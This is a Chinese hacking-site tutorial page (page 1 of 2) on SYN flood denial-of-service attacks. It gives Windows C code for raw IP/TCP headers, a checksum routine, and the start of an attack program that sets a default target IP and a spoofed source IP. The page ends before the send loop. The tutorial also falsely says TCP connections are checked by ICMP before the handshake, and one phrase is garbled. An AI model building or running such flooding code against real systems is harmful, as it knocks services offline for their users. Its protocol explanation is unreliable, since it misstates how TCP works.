登录名:  密码:  验证码: 6728
设为首页 收藏本站 联系站长
2009年1月10日
农历戊子年(鼠)
腊月十五
 首页 | 最新上传 | 新闻 | 购物商场 | 招聘求职 | HTML学习 | java学习 | IT新闻 | 黑客技术 | 域名和空间 | 流量统计 | 故事小说
 GIF动画制作 | 图片素材 | 源码下载 | 书籍下载 | 视频资料 | ASP | 数据库 | PHP | 基本电脑知识 | 迅雷资源 | 兼职 | 组网工程
 英语学习 | FLASH专区 | ASP.NET | VB | 综合资源网 | 驱动下载 | 游戏下载 | 网站模板网页美工 | 韩文学习 | 论坛
 特别推荐:产品报价  漂亮网站网址  图片素材
  我要查找:  
欢迎您来这里。每天学一点,每天进步一点!
Google
 当前位置:首页 >> 黑客  >> 黑客技术
洪水攻击原理及代码实现全攻略(附源代码)
来源:  发表日期:2008年6月25日 作者: 

 编辑:admin 级别: 司令 浏览次数:309
】    
声明:本文所提供的资料仅仅限于技术交流和学习,请不要用于其他非法目的,维护网络安全是我们的共同责任。

   下载本文源代码和例程

  一、 什么是洪水攻击

  洪水之猛、势不可挡。如果将洪水比作对计算机的攻击,那大家可以想象得出,攻击是多的猛烈。

  在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包,使得目标机器忙于处理这些无用的数据包,而无法处理正常的数据包。在攻击过程中,目标机器的CPU的使用率将高于正常值,有时甚至会达到100%。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话,如果要使某个电话瘫痪,就不停地拨这个电话的号码,那么其它的电话就无法拨通这个电话,当然,要想不接到骚扰电话,唯一的方法是将电话线拔了。同样,要想计算机完全避免洪水攻击的唯一方法,就是不让这台计算机上网,更直接的就是将网线拔了。

  二、 洪水攻击的原理

  洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击,本文主要讨论比较常用的利用TCP三次握手的漏洞来耗尽计算机资源的方式来进行攻击。

  那么什么是TCP的三次握手呢?其实原理很简单。这要从TCP的连接过程说起。我们一般使用Socket API来进行TCP连接。要做的只是将IP或计算机名以及端口号传入connect函数,如果参数正确,目标机器的服务可用的话,这个TCP连接就会成功。之所以连接这么方便,是因为Socket API已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢?

  我们由网络7层可知,在TCP所在的传输层下面是网络层,在这一层最有代表性的协议就是IP协议。而TCP数据包就是通过IP协议传输的。这就是我们为什么经常说TCP/IP协议的缘故。TCP在底层的连接并不是这么简单。在真正建立连接之前,必须先通过ICMP(Internet Control Message Protcol)协议对连接进行验证。那么如何验证呢?
三、 洪水攻击的实现

  在上一部分我们讨论了洪水攻击原理,在这一部分我将给出一个完成的实例说明如何使用C语言来设计洪水攻击程序。

  由于ICMP报文是用IP协议发送的,因此,我们需要自己定义IP数据包的数据结构,这样我们就可以任意修改IP数据包的内容了。下面是IP协议的数据结构。

typedef struct _iphdr //定义IP首部
{
 unsigned char h_verlen; //4位首部长度,4位IP版本号
 unsigned char tos; //8位服务类型TOS
 unsigned short total_len; //16位总长度(字节)
 unsigned short ident; //16位标识
 unsigned short frag_and_flags; //3位标志位
 unsigned char ttl; //8位生存时间 TTL
 unsigned char proto; //8位协议 (TCP, UDP 或其他)
 unsigned short checksum; //16位IP首部校验和
 unsigned int sourceIP; //32位源IP地址
 unsigned int destIP; //32位目的IP地址
} IP_HEADER;

  这个结构比较复杂,我们只看其中3个,其余的成员可以参考《TCP/IP详解 卷1:协议》的相关部分。最后两个成员sourceIP和destIP就是上述所说的A和B的IP。而最重要的就是checksum,这个参数是一个验证码,用于验证发送的IP数据包的正确性,我们把这个验证码称为校验和。计算它的函数如下:

USHORT checksum(USHORT *buffer, int size)
{
 unsigned long cksum=0;
 while(size >1)
 {
  cksum+=*buffer++;
  size -=sizeof(USHORT);
 }
 if(size )
 {
  cksum += *(UCHAR*)buffer;
 }
 cksum = (cksum >> 16) + (cksum & 0xffff);
 cksum += (cksum >>16);
 return (USHORT)(~cksum);
}

  看了上面的代码也许会有很多疑问,下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的,而并不对IP数据包中的数据部分进行计算。为了计算一个数作为校验和,首先把校验和字段赋为0。然后,对首部中每个16位进行二进制白马反码求和(我们可以将整个IP首部看成是由一组16位的字组成),将结果保存在校验和字段中。当收到一份IP数据报后,同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和,因此,如果首部在传输过程中没有发生任何差错,那么接收方计算的结果应该全是1.如果结果不全是1(即校验和错误),那么IP就丢弃收到的数据报。但不生成差错报文,由上层(如TCP协议)去发现丢失的数据报并进行重传。

  由于我们要发送假的TCP连接包,因此,为分别定义一个伪TCP首部和真正的TCP首部。

struct //定义TCP伪首部
{
 unsigned long saddr; //源地址
 unsigned long daddr; //目的地址
 char mbz;
 char ptcl; //协议类型
 unsigned short tcpl; //TCP长度
} psd_header;

typedef struct _tcphdr //定义TCP首部
{
 USHORT th_sport; //16位源端口
 USHORT th_dport; //16位目的端口
 unsigned int th_seq; //32位序列号
 unsigned int th_ack; //32位确认号
 unsigned char th_lenres;//4位首部长度/6位保留字
 unsigned char th_flag;//6位标志位
 USHORT th_win; //16位窗口大小
 USHORT th_sum; //16位校验和
 USHORT th_urp; //16位紧急数据偏移量
} TCP_HEADER;

  在以上的准备工作都完成后,就可以写main函数中的内容了。下面是程序的定义部分。

#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
#define SYN_DEST_IP "127.0.0.1"//被攻击的默认IP
#define FAKE_IP "10.168.150.1" //伪装IP的起始值,可以是任意IP
#define STATUS_FAILED 0xFFFF//错误返回值
int main(int argc, char **argv)
{
 int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
 int TimeOut=2000,SendSEQ=0;
 char SendBuf[128]; // 每个数据包是128个字节
 char DestIP[16]; // 要攻击的机器IP,在这里就是B的IP
 memset(DestIP, 0, 4);
 // 如果通过参数输入个IP,将DestIP赋为这IP,否则SYN_DEST_IP赋给DestIP
 if(argc < 2)
  strcpy(DestIP, SYN_DEST_IP);
 else
  strcpy(DestIP, argv[1]);
  // 以下是声明Socket变量和相应的数据结构
 WSADATA wsaData;
 SOCKET SockRaw=(SOCKET)NULL;
 struct sockaddr_in DestAddr;
 IP_HEADER ip_header;
 TCP_HEADER tcp_header;
 … …
}
下一步就是初始化Raw Socket

//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本
{
 fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
 ExitProcess(STATUS_FAILED);
} SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (SockRaw==INVALID_SOCKET) // 如果建立Socket错误,输出错误信息
{
 fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
 ExitProcess(STATUS_FAILED);
}

  第二步就是填充刚才定义的那些数据结构
分页: [1] [2]
(编辑:网站学习网)
 ·上一篇文章: 原始套接字透析之综合实例:网络
 ·下一篇文章: asp源码 交友网站,php交友源
 该篇文章的评论
 暂无相关评论
 姓名:  邮箱:
 内容:
                
 相关文章
 · 黑客技术视频教程之ping
 · 黑客知识 Telnet高
 · 安全知识 黑客是如
 · 原始套接字透析之综合实
 · 基础知识 初级黑客
 · 如何拥有高超的本领&nbs
 · 黑客高级技巧 Linu
 · 洪水攻击原理及代码实现
 · 18岁黑客开博卖病毒&nbs
 · 原始套接字透析之实现Pi
 · 黑客技术视频教程之X-SC
 最新上传文章
 · 使用 cookie 
 · Asp Object 之
 · 建立企业信息化 &n
 · 80后IT四少:媒体塑造了我
 · 我国企业电子商务交易总
 · asp连接带有密码的acces
 · 互联网应用广泛 电
 · Adobe Illustrator
 · delphi程序打包安装制作
 · 企业邮件管理有新招&nbs
 · toolbar图标:ToolBar上的

服务说明 | 关于网站 | 联系我们 | 友情链接
网站学习网欢迎您!
http://www.studywebgood.com
浙ICP备07030755号 
联系邮箱:shuizhilang@126.com 如本网站侵犯了您的版权,请马上通知我.